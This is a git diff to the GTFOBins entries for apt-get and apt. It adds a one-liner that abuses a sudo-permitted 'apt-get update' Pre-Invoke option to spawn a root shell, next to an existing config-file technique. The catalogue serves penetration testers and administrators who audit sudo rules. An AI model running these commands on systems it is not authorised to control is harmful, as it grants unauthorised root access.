diff --git a/_gtfobins/apt-get.md b/_gtfobins/apt-get.md
index 70c2f33..9426256 100644
--- a/_gtfobins/apt-get.md
+++ b/_gtfobins/apt-get.md
@@ -15,4 +15,6 @@ functions:
         TF=$(mktemp)
         echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF
         sudo apt-get install -c $TF sl
+    - description: When the shell exits the `update` command is actually executed.
+      code: sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
 ---
diff --git a/_gtfobins/apt.md b/_gtfobins/apt.md
index 94d9df5..008e672 100644
--- a/_gtfobins/apt.md
+++ b/_gtfobins/apt.md
@@ -15,4 +15,6 @@ functions:
         TF=$(mktemp)
         echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF
         sudo apt install -c $TF sl
+    - description: When the shell exits the `update` command is actually executed.
+      code: sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
 ---